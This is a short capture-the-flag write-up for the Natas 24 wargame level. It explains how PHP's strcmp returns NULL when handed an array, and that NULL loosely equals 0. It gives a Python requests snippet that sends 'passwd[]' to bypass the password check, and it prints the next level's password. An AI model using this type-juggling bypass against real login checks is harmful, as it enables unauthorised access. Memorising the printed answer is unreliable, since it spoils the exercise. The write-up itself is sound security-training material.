Description

The check is strcmp($_REQUEST["passwd"], $secret) == 0. In older PHP versions, passing an array instead of a string to strcmp returns NULL, and NULL == 0 is true.

Overview

• PHP’s strcmp() returns NULL (not an integer) when either argument is not a string.
• NULL == 0 evaluates to true under loose comparison.
• Sending passwd[] as a query parameter delivers an array to PHP.

Solution

response = requests.get(url, auth=("natas24", current_password), params={"passwd[]": ""})
result = re.search(r"The password for natas25 is (.*)", response.text).group(1).strip()

Password

O9QD9DZBDq1YpswiTM5oqMDaOtuZtAcx